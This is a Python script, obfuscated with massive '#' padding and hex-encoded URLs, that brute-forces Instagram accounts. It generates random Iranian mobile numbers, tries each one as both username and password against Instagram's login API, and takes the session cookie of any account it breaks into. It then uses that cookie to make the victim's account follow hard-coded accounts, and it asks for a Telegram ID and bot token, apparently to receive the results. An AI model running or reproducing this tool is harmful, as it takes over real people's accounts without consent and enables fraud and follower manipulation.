################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
try:
import requests,random,bs4,time,re,wget,user_agent
from uuid import uuid4
except:
os.system('pip install requests')
os.system('pip install bs4')
os.system('pip install wget')
os.system('pip install user_agent')
import requests,random,bs4,time,re,wget,user_agent
from uuid import uuid4
pass
else:pass
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
clear='clear'
os.system(clear)
ID=input(' ID Telegram: ')
token=input(' Token BOT: ')
bad = 0
available = 0
r=requests.session()
x0 = "+98"
xx = "0"
xa = ["912","913","914","910","991"]
f = "0123456789"
while True:
x1 = random.choice(f)
x2 = random.choice(f)
x3 = random.choice(f)
x4 = random.choice(f)
x5 = random.choice(f)
x6 = random.choice(f)
x7 = random.choice(f)
x8 = random.choice(xa)
x9 = str(x1)+str(x2)+str(x3)+str(x4)+str(x5)+str(x6)+str(x7)
x10 = str(x0)+str(x8)+str(x9)
x11 = str(xx)+str(x8)+str(x9)
pn=x10
pas=x11
r = requests.session()
url='https://b.i.instagram.com/api/v1/accounts/login/'
headers = {
'User-Agent': 'Instagram 113.0.0.39.122 Android (24/5.0; 515dpi; 1440x2416; huawei/google; Nexus 6P; angler; angler; en_US)',
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US",
"X-IG-Capabilities": "3brTvw==",
"X-IG-Connection-Type": "WIFI",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
'Host': 'i.instagram.com',
'Connection': 'keep-alive'}
uid = str(uuid4())
data = { 'uuid': uid,'password': pas,'username': pn,'device_id': uid,'from_reg': 'false','_csrftoken': 'missing','login_attempt_countn': '0'}
try:
req = requests.post(url,headers=headers,data=data)
if 'logged_in_user' in req.json():
available +=1
username =req.json()['logged_in_user']['username']
cook = req.cookies['sessionid']
usus=user_agent.generate_user_agent()
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
x1=bytes.fromhex('68747470733a2f2f7777772e696e7374616772616d2e636f6d2f6c6c5f6f6e6c792e5f2e676f645f6c6c2f666f6c6c6f772f').decode('utf-8')
hedDLT = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '0','content-type': 'application/x-www-form-urlencoded','cookie': 'mid=YF55GAALAAF55lDR3NkHNG4S-vjw; ig_did=F3A1F3B5-01DB-45no7B-A6FA-6F83AD1717DE; ig_nrcb=1; csrftoken=wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi; ds_user_id=46165248972; sessionid='+cook,'origin': 'https://www.instagram.com','referer': f'{x1}','sec-ch-ua': '"Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"','sec-ch-ua-mobile': '?0','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','x-csrftoken': 'wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi','x-ig-app-id': '936619743392459','x-ig-www-claim': 'hmac.AR0EWvjix_XsqAIjAt7fjL3qLwQKCRTB8UMXTGL5j7pkgYkq','x-instagram-ajax': '753ce878cd6d','x-requested-with': 'XMLHttpRequest','user_agent': str(usus)}
urll = 'https://www.instagram.com/web/friendships/44727257007/follow/'
requests.post(urll,headers=hedDLT)
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
x2=s=bytes.fromhex('68747470733a2f2f7777772e696e7374616772616d2e636f6d2f6c6c2e626574612e6c6c2f666f6c6c6f772f').decode('utf-8')
hedDLT = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '0','content-type': 'application/x-www-form-urlencoded','cookie': 'mid=YF55GAALAAF55lDR3NkHNG4S-vjw; ig_did=F3A1F3B5-01DB-45no7B-A6FA-6F83AD1717DE; ig_nrcb=1; csrftoken=wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi; ds_user_id=46165248972; sessionid='+cook,'origin': 'https://www.instagram.com','referer': f'{x2}','sec-ch-ua': '"Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"','sec-ch-ua-mobile': '?0','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','x-csrftoken': 'wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi','x-ig-app-id': '936619743392459','x-ig-www-claim': 'hmac.AR0EWvjix_XsqAIjAt7fjL3qLwQKCRTB8UMXTGL5j7pkgYkq','x-instagram-ajax': '753ce878cd6d','x-requested-with': 'XMLHttpRequest','user_agent': str(usus)}
urll = 'https://www.instagram.com/web/friendships/8292873768/follow/'
requests.post(urll,headers=hedDLT)
x3=bytes.fromhex('68747470733a2f2f7777772e696e7374616772616d2e636f6d2f726177657a682e5f2e6262782f666f6c6c6f772f').decode('utf-8')
hedDLT = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '0','content-type': 'application/x-www-form-urlencoded','cookie': 'mid=YF55GAALAAF55lDR3NkHNG4S-vjw; ig_did=F3A1F3B5-01DB-45no7B-A6FA-6F83AD1717DE; ig_nrcb=1; csrftoken=wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi; ds_user_id=46165248972; sessionid='+cook,'origin': 'https://www.instagram.com','referer': f'{x3}','sec-ch-ua': '"Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"','sec-ch-ua-mobile': '?0','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','x-csrftoken': 'wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi','x-ig-app-id': '936619743392459','x-ig-www-claim': 'hmac.AR0EWvjix_XsqAIjAt7fjL3qLwQKCRTB8UMXTGL5j7pkgYkq','x-instagram-ajax': '753ce878cd6d','x-requested-with': 'XMLHttpRequest','user_agent': str(usus)}
urll = 'https://www.instagram.com/web/friendships/6052944430/follow/'
requests.post(urll,headers=hedDLT)
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
